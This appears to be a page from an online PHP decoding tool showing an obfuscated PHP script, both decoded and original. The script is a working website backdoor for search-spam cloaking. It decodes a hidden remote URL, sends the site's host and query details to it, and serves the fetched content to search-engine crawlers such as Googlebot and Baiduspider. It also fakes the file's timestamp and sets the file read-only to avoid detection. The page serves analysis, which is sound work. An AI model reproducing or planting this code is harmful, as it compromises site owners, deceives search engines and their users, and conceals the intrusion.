Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto COfV4; TWCf_: if (!($I5rrT === FALSE)) { goto YtNSO; } goto CgGeD; bNCl1: fo..

Decoded Output download

<?php  
 goto COfV4; TWCf_: if (!($I5rrT === FALSE)) { goto YtNSO; } goto CgGeD; bNCl1: foreach ($hgVk6 as $fbaV7 => $yUKIM) { goto SSXGX; bP1U2: ULkz1: goto B6Xzv; X5o6w: WJPOO: goto bP1U2; iZ6OA: goto KyuDg; goto X5o6w; tMo4I: $OkDzv = $yUKIM; goto iZ6OA; SSXGX: if (!(strpos($K0Hqv, $fbaV7) !== false)) { goto WJPOO; } goto tMo4I; B6Xzv: } goto N9E7I; A5utM: $kFa6x = ["http" => ["header" => "User-Agent: {$OkDzv} 
"]]; goto KFPuY; YOO69: echo str_replace("", "telegram:@aone8", $I5rrT); goto dgozT; HzxDG: curl_setopt($G3zCS, CURLOPT_USERAGENT, $OkDzv); goto OcYMa; E_GSd: $Dp5N_ = base64_decode("aHR0cHM6Ly92bjIubm93MzMuY29tLw=="); goto Km2Bv; N9E7I: KyuDg: goto A5utM; EQ12I: function aIwSf($e3nVK) { goto QJBVV; QJBVV: @chmod($e3nVK, 0644); goto hxfCM; hxfCM: $IzG0_ = strtotime("2000-01-01"); goto T6kRh; JhkuO: @touch($e3nVK, $liVgy, $liVgy); goto L3fyS; zIUiT: $liVgy = mt_rand($IzG0_, $mT1s6); goto JhkuO; T6kRh: $mT1s6 = strtotime("2024-12-31"); goto zIUiT; L3fyS: } goto XM8mY; SaoVU: curl_close($G3zCS); goto w11om; COfV4: set_time_limit(0); goto ORm_R; CgGeD: $G3zCS = curl_init(); goto KG02f; KG02f: curl_setopt($G3zCS, CURLOPT_URL, "{$Dp5N_}/index.php?host={$dq_Gn}&url=" . $_SERVER["QUERY_STRING"] . "&domain=" . $_SERVER["SERVER_NAME"]); goto hSKKU; w11om: YtNSO: goto YOO69; KFPuY: $au3bK = stream_context_create($kFa6x); goto VZlOO; Wm1On: $hgVk6 = ["Baiduspider" => "Mozilla/5.0 (compatible; Baiduspider/2.0)", "Googlebot" => "Mozilla/5.0 (compatible; Googlebot/2.1)", "360Spider" => "Mozilla/5.0 (compatible; 360Spider)", "Bingbot" => "Mozilla/5.0 (compatible; Bingbot/2.0)", "YisouSpider" => "Mozilla/5.0 (compatible; YisouSpider)", "Sogou web spider" => "Sogou web spider/4.0"]; goto KnjQb; ORm_R: header("Content-Type: text/html;charset=utf-8"); goto uxRYw; XM8mY: AIwsF($ptgIO); goto IXXlU; uIeGx: curl_setopt($G3zCS, CURLOPT_SSL_VERIFYHOST, false); goto HzxDG; OcYMa: $I5rrT = curl_exec($G3zCS); goto SaoVU; KnjQb: $OkDzv = "Mozilla/5.0"; goto bNCl1; Km2Bv: $dq_Gn = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["PHP_SELF"]; goto f0BNA; uxRYw: date_default_timezone_set("PRC"); goto E_GSd; hSKKU: curl_setopt($G3zCS, CURLOPT_RETURNTRANSFER, 1); goto ZnhwT; VZlOO: $I5rrT = @file_get_contents("{$Dp5N_}/index.php?host={$dq_Gn}&url=" . $_SERVER["QUERY_STRING"] . "&domain=" . $_SERVER["SERVER_NAME"], false, $au3bK); goto TWCf_; f0BNA: $K0Hqv = $_SERVER["HTTP_USER_AGENT"]; goto Wm1On; dgozT: $ptgIO = basename($_SERVER["PHP_SELF"]); goto EQ12I; ZnhwT: curl_setopt($G3zCS, CURLOPT_SSL_VERIFYPEER, false); goto uIeGx; IXXlU: @chmod($ptgIO, 0444);  
  
 ?>

Did this file decode correctly?

Original Code

<?php 
 goto COfV4; TWCf_: if (!($I5rrT === FALSE)) { goto YtNSO; } goto CgGeD; bNCl1: foreach ($hgVk6 as $fbaV7 => $yUKIM) { goto SSXGX; bP1U2: ULkz1: goto B6Xzv; X5o6w: WJPOO: goto bP1U2; iZ6OA: goto KyuDg; goto X5o6w; tMo4I: $OkDzv = $yUKIM; goto iZ6OA; SSXGX: if (!(strpos($K0Hqv, $fbaV7) !== false)) { goto WJPOO; } goto tMo4I; B6Xzv: } goto N9E7I; A5utM: $kFa6x = ["http" => ["header" => "User-Agent: {$OkDzv}
"]]; goto KFPuY; YOO69: echo str_replace("", "telegram:@aone8", $I5rrT); goto dgozT; HzxDG: curl_setopt($G3zCS, CURLOPT_USERAGENT, $OkDzv); goto OcYMa; E_GSd: $Dp5N_ = base64_decode("aHR0cHM6Ly92bjIubm93MzMuY29tLw=="); goto Km2Bv; N9E7I: KyuDg: goto A5utM; EQ12I: function aIwSf($e3nVK) { goto QJBVV; QJBVV: @chmod($e3nVK, 0644); goto hxfCM; hxfCM: $IzG0_ = strtotime("2000-01-01"); goto T6kRh; JhkuO: @touch($e3nVK, $liVgy, $liVgy); goto L3fyS; zIUiT: $liVgy = mt_rand($IzG0_, $mT1s6); goto JhkuO; T6kRh: $mT1s6 = strtotime("2024-12-31"); goto zIUiT; L3fyS: } goto XM8mY; SaoVU: curl_close($G3zCS); goto w11om; COfV4: set_time_limit(0); goto ORm_R; CgGeD: $G3zCS = curl_init(); goto KG02f; KG02f: curl_setopt($G3zCS, CURLOPT_URL, "{$Dp5N_}/index.php?host={$dq_Gn}&url=" . $_SERVER["QUERY_STRING"] . "&domain=" . $_SERVER["SERVER_NAME"]); goto hSKKU; w11om: YtNSO: goto YOO69; KFPuY: $au3bK = stream_context_create($kFa6x); goto VZlOO; Wm1On: $hgVk6 = ["Baiduspider" => "Mozilla/5.0 (compatible; Baiduspider/2.0)", "Googlebot" => "Mozilla/5.0 (compatible; Googlebot/2.1)", "360Spider" => "Mozilla/5.0 (compatible; 360Spider)", "Bingbot" => "Mozilla/5.0 (compatible; Bingbot/2.0)", "YisouSpider" => "Mozilla/5.0 (compatible; YisouSpider)", "Sogou web spider" => "Sogou web spider/4.0"]; goto KnjQb; ORm_R: header("Content-Type: text/html;charset=utf-8"); goto uxRYw; XM8mY: AIwsF($ptgIO); goto IXXlU; uIeGx: curl_setopt($G3zCS, CURLOPT_SSL_VERIFYHOST, false); goto HzxDG; OcYMa: $I5rrT = curl_exec($G3zCS); goto SaoVU; KnjQb: $OkDzv = "Mozilla/5.0"; goto bNCl1; Km2Bv: $dq_Gn = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["PHP_SELF"]; goto f0BNA; uxRYw: date_default_timezone_set("PRC"); goto E_GSd; hSKKU: curl_setopt($G3zCS, CURLOPT_RETURNTRANSFER, 1); goto ZnhwT; VZlOO: $I5rrT = @file_get_contents("{$Dp5N_}/index.php?host={$dq_Gn}&url=" . $_SERVER["QUERY_STRING"] . "&domain=" . $_SERVER["SERVER_NAME"], false, $au3bK); goto TWCf_; f0BNA: $K0Hqv = $_SERVER["HTTP_USER_AGENT"]; goto Wm1On; dgozT: $ptgIO = basename($_SERVER["PHP_SELF"]); goto EQ12I; ZnhwT: curl_setopt($G3zCS, CURLOPT_SSL_VERIFYPEER, false); goto uIeGx; IXXlU: @chmod($ptgIO, 0444); 
 
 ?>

Function Calls

None

Variables

None

Stats

MD5 dcd04cd8110e1b2ef833238554ac2a39
Eval Count 0
Decode Time 66 ms